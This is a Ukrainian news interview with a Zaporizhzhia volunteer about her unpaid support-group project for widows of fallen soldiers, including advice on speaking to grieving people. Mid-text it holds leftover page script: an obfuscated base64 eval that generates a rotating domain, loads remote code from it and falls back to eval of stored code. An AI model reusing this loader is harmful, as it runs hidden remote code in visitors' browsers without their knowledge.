Запоріжжя після початку повномасштабного вторгнення Росії стало осередком діяльності багатьох волонтерів. Серед них є ті, хто долучився до волонтерства нещодавно, і ті, хто не припиняв громадську діяльність і допомогу ще з 2014 року. Ярина Геращенко — небайдужа жителька Запоріжжя, яка не тільки активно займається організацією благодійних заходів, акцій в місті, а й підписала контракт із добровольчим формуванням Запорізької територіальної громади та зстала одним з засновників унікального проєкту для підтримки дружин загиблих військових під назвою “Коханий, я живу!”.
Пілотний запуск проєкту відбувся навесні 2023 року, у ньому взяли участь 6 жінок. Проєкт передбачав 8 зустрічей, які складалися із групового сеансу з психологом, а також певного інтерактиву. Наразі перша група в своїй активній фазі завершила роботу, триває підготовка до запуску другої. Акцент поспілкувався з Яриною і дізнався більше про формат проєкту, його мету, організацію й результати.
Фото з проєкту від Анастасії Ракус
З чого взагалі почалась твоя громадська й волонтерська діяльність?
Я в націоналістичному середовищі знаходжусь з 2011-2012 року. В мене батьки націоналісти, завжди брали участь в акціях, які проходили в Запоріжжі, в мітингах, тому я росла як дитина революції. Я пам’ятаю 2004 рік, як у тата на плечах сиділа під час мітингів. Потім у 2013 році я була вже більш свідома і тому не могла залишитися осторонь. У 2014 році початок війни був очікуваний, тому що боротьба між Україною і Росією йде століттями. Росія постійно намагається придушити нашу свободу, волю, незалежність, підім’яти під себе, а я не така людина, я зростала в родині вільних людей, які можуть висловлювати свої думки, вільно говорити і діяти так, як велить сердце. Саме тому в 2015-2016 рр. я вже їздила як волонтер в Донецьку область в селище Водяне, яке знаходилось біля селища Піски, в складі добровольчого батальйону “Карпатська Січ”. Там я допомагала чим могла: чергувала на позиціях, допомагала медикам, їсти готувала. Проходила вишколи. Тоді також навчалась на магістратурі, де мене дуже підтримували викладачі. Я, чесно кажучи, диплом свій писала на позиціях біля Донецького аеропорту.
Громадська діяльність постійно зі мною. В період до повномастабного вторгнення я керувала запорізьким обласний осередком Всеукраїнської громадської організації “Сокіл”. Ми влаштовували дуже багато заходів, мітингів, парад до Дня вишиванки (один із найперших моїх великих заходів). Проводили вишколи на березі Азовського моря, у нас були і тактика, і медицина, все, що може знадобитися у війні. Для нас проводили інструктаж хлопці й дівчата, які брали участь у бойових діях. Молодь, яка була в організації, постійно готувалася по всій Україні, бо знала, що АТО розповзеться рано чи пізно.
Фото з Благодійного мистецького заходу на підтримку героїв Азовсталі від Сергія Лаврова
Як змінилося твоє життя після початку повномасштабної війни?
Лютий 2022-го року не став особисто для мене несподіванкою, бо ми цього очікували. Так як я викладала в університеті, то не могла одразу все кинути й підписати контракт у ЗСУ чи ще десь. Тим паче такий хаос відбувався. Тому я взяла на себе відповідальність і трошки координувала волонтерську роботу. Люди хотіли допомогти, але не знали де, та як це зробити, а я допомагала їм в цьому. Потім протягом перших двох тижнів організовувалося добровольче формування територіальної громади Запоріжжя під егідою Штабу оборони Запорізького краю. Туди входили ветерани війни, вони й запустили таке формування. 5 березня я вступила до нього, бо в цьому середовищі вже давно. З того часу і до сьогодні займаюсь матеріально-технічним забезпеченням і логістикою.
Розкажіть про ідею проєкту “Коханий, я живу!”. Як обирався формат заходів?
До мене звернулась Альона Прокопенко, дружина загиблого військовослужбовця Іллі Волошина, якого ми знали майже все наше життя, він друг нашої родини. Альона знала, що я організовувала заходи, і в нас така сильна команда. Коли ми зустрілися з нею, в мене вже були думки щодо подібного заходу. Хотілося щось зробити для дружин загиблих, тому що моя мама Вікторія Геращенко працює з 2014-го року з військовослужбовцями і родинами загиблих, зниклих, полонених воїнів. Однак я не знала, як мені запропонувати жінкам взяти участь в такому проєкті, але тут сама дружина загиблого звернулась, і це вже був знак, що це потрібно робити.
Після цієї розмови мені прийшла в голову фраза “Коханий я живу”. Я особисто вбачаю в цьому не тільки назву, а й заклик до життя, бо ці жінки сильні і вони мають жити. Їхні чоловіки загинули не для того, щоб вони померли разом, а для того, щоб вони продовжували жити у вільній країні.
Спочатку ми думали, що це буде один захід, а мама порадила робити саме проєкт. Існує восьмикрокова програма, на яку вона спирається в своїй роботі. Всі 8 зустрічей були продумані нею. Кожная зустріч також мала назву і складалася з двох частин. Перша частина — конфіденційна, закрита зустріч, де були лише учасниці й психологиня. Друга частина передбачала якусь активність — арт-терапія, йога, екскурсія, виїзд на Хортицю, догляд за собою тощо. Останнє, до речі, дуже важливо, бо жінки через горе забувають попіклуватися про себе. Кожна зустріч мала якусь проблему або питання, яке обговорювалось на закритому сеансі. На відкритій вже частині могли бути присутні також і фотографині проєкту.
Автор фото: Олена Тіта
Коли ми запускали проєкт, то дивилися, шукали, що є в Україні схоже, але нічого не знайшли. Подібних заходів не було, і ми вважаємо, що саме наш проєкт є унікальним.
Ми не розповідаємо детально, як проходили заходи, особливо зустрічі з психологом. Я дуже ціную роботу своєї мами, і скільки вона робить для людей, тому хочеться зберегти авторське право. Якщо хтось захоче, то ми готові ділитися, але ідея кожної зустрічі належить нашій психологині.
В анкеті для учасниць було вказано, що взяти участь могли лише ті жінки, які втратили чоловіків не менше, ніж 4 місяці тому. Чим зумовлений саме такий критерій?
4 місяці — це порада психологині, бо це той момент, коли відбувається пік горювання. Якраз в цей час можна долучати людину до групової терапії. До цього періоду проводяться тільки індивідуальні консультації. Ними також займається моя мама.
Чи були вікові обмеження?
За віком обирали жінок з більш-менш однаковим віком, аби їм було комфортно. У групі опинилися учасниці віком 30-40 років. Ми враховували це, бо при великій різниці у віці можуть виникати непорозуміння, однак дуже важливо, щоб екосистема групи працювала на відновлення, а не навпаки. Перед запуском проводилися також індивідуальні консультації.
Багато бажаючих було взяти участь?
У нас було близько 30-ти заявок, але десяток з них був від жінок з інших міст. І ми їм пояснювали, що це оффлайн проєкт, бо ту програму, яку ми запланували, неможливо було провести в дистанційному режимі. Насправді, якщо хтось з інших міст готовий взятись за цей проєкт, то ми можемо поділитись своїм позитивним досвідом. Через це ми і намагаємось постійно говорити й підтримувати проєкт медійно, щоб люди побачили, що ми можемо допомогти жінкам, які переживають горе, показати їм, що вони мають куди звернутися. Навіть наші учасниці зізнавалися, що по декілька разів відкривали анкету й сумнівались треба чи ні реєструватися, через те, що подумають люди. Культура засудження, на жаль, у нас в Україні є. Найстрашніше засудження від тих, хто не знає, що таке втрата до людей, які переживають горе. Це несправедливо і з цим потрібно боротися. І наш проєкт демонструє, що можна звернутися по допомогу до нас або до психолога. Також це важливо і для тих людей, які знаходяться довкола цих жінок і які не знають, як правильно з ними говорити.
Посмотреть эту публикацию в Instagram
Як допомогти людині, яка переживає втрату? Що сказати і яких слів та дій уникати?
var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Наші учасниці казали про те, що люди їх бояться, бо не знають як до них підійти, що сказати. Багато дружніх стосунків дали тріщину саме через те, що друзі не знали, що говорити. У такому випадку, по-перше, треба сказати “я поруч з тобою”, “якщо я потрібен/потрібна, то чим я можу допомогти”. Треба питати людину. Також жінок дуже часто бісить слово “тримайтесь”. Вони всі про це кажуть, бо за що їм триматися в такому стані? Запитайте краще чи хоче людина поговорити, запропонуйте подзвонити.
Також жінки кажуть про те, що вони не хочуть, аби до них ставилися як до хворих, бо вони живі, вони тут.
Чому проєкт тільки для дружин і до нього не залучені родичі загиблих?
Матері, родичі, діти — це геть різні категорії. Їх не можна змішувати. Нас питали, чому ми не робимо таке для матерів, бо “їм важче”. Але я кажу людям, що мірятися горем неможна. Учасниці проєкту дякували нам за те, що ми звернули на них увагу, бо немає ніяких програм для допомоги саме для цієї категорії.
Чи мали ви спонсорів?
У нас немає ні спонсорів, ні грантів, ми вкладаємо особисті кошти на всі організаційні питання. Партнери проєкту також працювали безкоштовно. Хотілось би, щоб це була якась державна програма, з’явився спонсор, аби ми могли масштабуватися, але зараз таких пропозицій немає. Ми ще в такому стані, що можемо самостійно фінансово «потягнути», але хочеться зробити більше. Можливо ще якісь партнери погодяться нам допомагати. Я думала про те, щоб відкрити “банку” для зборів, але мені важко просити кошти у людей. Я розумію, що зараз є інші потреби, потрібно закривати потреби військових.
Хто був партнерами проєкту?
Анастасія Ракус написала найперша, вона була готова допомогти як фотограф і знімала відео. Супроводжувала нас протягом всього періоду функціонування проєкту. Потім написала ще одна фотографиня Олена Тіта, вона відповідала за важливі фотопроєкти, проводила фотосесію «Пам’ять про Тебе» з предметами загиблих чоловіків, найдорожчим що в них лишилося. Також вона проводила завершальну фотосесію «Коханий, я живу!», яка була просто магічною.
Штаб оборони Запорізького краю нам також допомагав на виїздних заходах, Запорізький обласний центр молоді надає нам приміщення.
Посмотреть эту публикацию в Instagram
Деякі партнери були постійні, а деякі партнерами тижня. Серед останніх, наприклад, Вєроніка Науменко, тренерка з йоги, Роман Акбаш, краєзнавець, який провів екскурсію, ламімейкер Олександра Миц проводила майстер-клас з догляду за собою. Альона Прокопенко (учасниця та одна з засновниць проєкту) зробила майстер-клас з денного макіяжу. Студія-майстерня «Pottery lsland» надала простір для проведення однієї з зустрічей. Команда створення «Щоденники дружин загиблих Героїв…» — Тетяна Пода (журналістка) Марія Березовець та Данійоль Ратобильський (відеографи), Віталія Король (перекладачка) та Творчий кут «Бавовна». Емблему проєкту нам створила художниця Марина Коваль.
Які зміни ви побачили у дівчат?
Дівчата й психологиня задоволені. Вважаємо, що поставлену мету ми досягли на 99%. Однак на цьому проєкт не завершується. Дівчата будуть зустрічатися надалі раз на місяць. Група підтримки буде продовжувати працювати, бо не можливо за 8 тижнів підтримати людину й витягнути її з горювання. Це горе буде з ними завжди, але наша задача підтримати їх на шляху до відновлення, щоб горе було не руйнуванням, а стало підтримкою в житті. Жінки звернулися до нас з тим запитом, що вони не хочуть помирати, а хочуть гідно нести пам’ять про своїх чоловіків. Наші постійні партнери бачили наших дівчат на першому тижні й останньому, і всі кажуть, що зміни є, навіть в очах.
Наразі ви плануєте запустити другу групу. Розкажіть про підготовку.
Деякий час ми плануємо перепочити і зробити перерву, а потім будемо запускати другу групу. Вже є учасники, які подавалися на початку, але по часу втрати вони не підходили. Подивимось також на те, хто з партнерів згодиться з нами надалі працювати на волонтерських засадах.
Які зміни плануєте у майбутньому проєкті?
Обов’язково будемо щось змінювати, бо нам потрібен певний ефект несподіванки. Ніхто з учасниць не повинен знати про плани заходів, і кожен захід має бути для них сюрпризом. Однак деякі зустрічі ми не можемо змінити, бо вони є переломними. На цьому наголошували навіть самі дівчата.
Якою буде кількість учасниць?
На початку ми думали зробити групу з 10 жінок, але вийшло 6. Психологиня каже, що це навіть добре, бо для десяти жінок мало часу, який ми виділяли на зустрічах. Навіть для шістьох цього було замало, інколи дівчатам було важко розійтись і це добре. Плануємо наступного разу залучити не більше 8-ми жінок.
Прапорець пам’яті: у Запоріжжі створили місце для вшанування полеглих героїв (ФОТОРЕПОРТАЖ)Про життя в Запоріжжі, роботу фотографом і волонтерство: інтерв’ю з мешканкою Оріхова Підписуйтесь на Акцент в 
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/pro-volonterstvo-i-blagodijnij-proyekt-kohanij-ya-zhivu-interv-yu-iz-zaporizhankoyu-yarinoyu-gerashhenko/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
